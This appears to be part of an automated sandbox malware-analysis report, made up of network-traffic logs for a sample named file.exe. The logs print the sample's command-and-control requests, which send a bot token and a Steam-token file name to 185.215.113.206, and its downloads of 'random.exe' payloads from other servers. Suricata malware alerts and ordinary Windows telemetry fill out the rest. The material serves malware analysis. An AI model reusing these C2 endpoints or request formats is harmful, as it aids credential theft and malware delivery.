Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 2d 2d 0d 0a Data Ascii: ------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file"------BKFCAFCFBAEHIDHJDBGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="message"ybncbhylepme------CAEHDBAAECBFHJKFCFBF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIIIECBGDHJJKFIDAKJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGIIIECBGDHJJKFIDAKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 38 37 38 42 34 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2878B45082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 20.1.248.118 20.1.248.118
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49794 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49921 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49943 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.19
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA8CC60 PR_Recv,

0_2_6CA8CC60

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231854Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b14448f38fe04efca346a78c5108509b&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604380&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604380&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: OHjf8TESfkmzAPIV.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231854Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=32b45b1a09cd413291ced2dd577c202e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604380&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604380&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: OHjf8TESfkmzAPIV.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231914Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6b5b6ee5d9634f7291b8f9ea9aa732f2&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604381&metered=false&nettype=ethernet&npid=sc-280815&oemName=figysj%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=figysj20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604381&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVn6XcywMKzESLTp8a1wABtPIgH6KdsDLjZ8hpGyDxS7xMSGavP2IDDNkzCdlQIDYoGUClSm3k2AbLdxDEnd7yc057d4c4jEbEk6LSz35MZLAQevgKvYq+AmXsm8OLDPIWMxdrJCQwwBdXbZSGDuozqZQXuqN0lEHiJyxczZLKnH5Py0UDzQTr2S4sjknSwxiN/AGnaIouETb7kyQi7Zw+mo+9B8SAiOy9sVWtMK3g9TSOrI6xH552g0cag0HirGSfXtMBasAvh4L0lbQG+mCrF6FQhOZVW1kJjqgjzI/DmOolxgF3xqk4+FbrarE7x9M362oopTg4c6M81QpkZNXMoQZgAAECZPbvdwOyZvoOrsV6mxhuqwAXM3skEsVWs4ZkOruZ6fiQyNkVA01BvnMTW3dfbyWgpopb7pMpC1UXFsl2nUHbGz56QH1/AKtIhfooHsIJA/XCgI90HDxUKhGKHPa8Pm5+BAJdtwfolU8SPVnhj/yiubalrIis4ZguiohXU6Q3cfQmGWo172cyc9J7ewGoSXQ90gjbVflW55beYtn3wid5lVaSxqNQn1ddzUO5we5KUgpxjbptJW8wGFbuh6Sk4zf+e4H9bAMXUHq1iys2TTpZeTLvBmiBCW6GetQRMgzo2rL2WMM9+1ng0gG4MF2HKnj3RSEwl44c77ANowU3tfaGFvqeCNHwSEsGmTm6+Td5fC8IhB/LVucgjAoVe23Zl5FA1/4wyc34mxP4GbKJUbbZ3XnocEtR6FyPiCHjS77PU3noNm2TZwA77bMZ/WD4v+9Dj7rikce9F+0iSTEJTA7HBC0+VTUu1vMILWEOyZ8ZF28Up7U/PWmDPmPKCzkMEVXucRoqFfim2opFM6J3FvDJCrX00fRYTmd+D/NqZblQGJFz4f5iapQrF20hnfO5zKoGyNhJ8eYFozzm49BNsH1JAm19gB&p=Cache-Control: no-cacheMS-CV: gd+DFRV7DkGoJitD.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231914Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6928bcdc8abd4ebd96eab9c1e7406ddb&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604381&metered=false&nettype=ethernet&npid=sc-338388&oemName=figysj%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=figysj20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604381&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVn6XcywMKzESLTp8a1wABtPIgH6KdsDLjZ8hpGyDxS7xMSGavP2IDDNkzCdlQIDYoGUClSm3k2AbLdxDEnd7yc057d4c4jEbEk6LSz35MZLAQevgKvYq+AmXsm8OLDPIWMxdrJCQwwBdXbZSGDuozqZQXuqN0lEHiJyxczZLKnH5Py0UDzQTr2S4sjknSwxiN/AGnaIouETb7kyQi7Zw+mo+9B8SAiOy9sVWtMK3g9TSOrI6xH552g0cag0HirGSfXtMBasAvh4L0lbQG+mCrF6FQhOZVW1kJjqgjzI/DmOolxgF3xqk4+FbrarE7x9M362oopTg4c6M81QpkZNXMoQZgAAECZPbvdwOyZvoOrsV6mxhuqwAXM3skEsVWs4ZkOruZ6fiQyNkVA01BvnMTW3dfbyWgpopb7pMpC1UXFsl2nUHbGz56QH1/AKtIhfooHsIJA/XCgI90HDxUKhGKHPa8Pm5+BAJdtwfolU8SPVnhj/yiubalrIis4ZguiohXU6Q3cfQmGWo172cyc9J7ewGoSXQ90gjbVflW55beYtn3wid5lVaSxqNQn1ddzUO5we5KUgpxjbptJW8wGFbuh6Sk4zf+e4H9bAMXUHq1iys2TTpZeTLvBmiBCW6GetQRMgzo2rL2WMM9+1ng0gG4MF2HKnj3RSEwl44c77ANowU3tfaGFvqeCNHwSEsGmTm6+Td5fC8IhB/LVucgjAoVe23Zl5FA1/4wyc34mxP4GbKJUbbZ3XnocEtR6FyPiCHjS77PU3noNm2TZwA77bMZ/WD4v+9Dj7rikce9F+0iSTEJTA7HBC0+VTUu1vMILWEOyZ8ZF28Up7U/PWmDPmPKCzkMEVXucRoqFfim2opFM6J3FvDJCrX00fRYTmd+D/NqZblQGJFz4f5iapQrF20hnfO5zKoGyNhJ8eYFozzm49BNsH1JAm19gB&p=Cache-Control: no-cacheMS-CV: gd+DFRV7DkGoJitD.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231914Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5cb859d3bb2547519af8f68bfdcdfee8&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604381&metered=false&nettype=ethernet&npid=sc-338387&oemName=figysj%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=figysj20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604381&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVn6XcywMKzESLTp8a1wABtPIgH6KdsDLjZ8hpGyDxS7xMSGavP2IDDNkzCdlQIDYoGUClSm3k2AbLdxDEnd7yc057d4c4jEbEk6LSz35MZLAQevgKvYq+AmXsm8OLDPIWMxdrJCQwwBdXbZSGDuozqZQXuqN0lEHiJyxczZLKnH5Py0UDzQTr2S4sjknSwxiN/AGnaIouETb7kyQi7Zw+mo+9B8SAiOy9sVWtMK3g9TSOrI6xH552g0cag0HirGSfXtMBasAvh4L0lbQG+mCrF6FQhOZVW1kJjqgjzI/DmOolxgF3xqk4+FbrarE7x9M362oopTg4c6M81QpkZNXMoQZgAAECZPbvdwOyZvoOrsV6mxhuqwAXM3skEsVWs4ZkOruZ6fiQyNkVA01BvnMTW3dfbyWgpopb7pMpC1UXFsl2nUHbGz56QH1/AKtIhfooHsIJA/XCgI90HDxUKhGKHPa8Pm5+BAJdtwfolU8SPVnhj/yiubalrIis4ZguiohXU6Q3cfQmGWo172cyc9J7ewGoSXQ90gjbVflW55beYtn3wid5lVaSxqNQn1ddzUO5we5KUgpxjbptJW8wGFbuh6Sk4zf+e4H9bAMXUHq1iys2TTpZeTLvBmiBCW6GetQRMgzo2rL2WMM9+1ng0gG4MF2HKnj3RSEwl44c77ANowU3tfaGFvqeCNHwSEsGmTm6+Td5fC8IhB/LVucgjAoVe23Zl5FA1/4wyc34mxP4GbKJUbbZ3XnocEtR6FyPiCHjS77PU3noNm2TZwA77bMZ/WD4v+9Dj7rikce9F+0iSTEJTA7HBC0+VTUu1vMILWEOyZ8ZF28Up7U/PWmDPmPKCzkMEVXucRoqFfim2opFM6J3FvDJCrX00fRYTmd+D/NqZblQGJFz4f5iapQrF20hnfO5zKoGyNhJ8eYFozzm49BNsH1JAm19gB&p=Cache-Control: no-cacheMS-CV: gd+DFRV7DkGoJitD.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360284620_1TF9ZP2GQ6Z0HCCJW&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
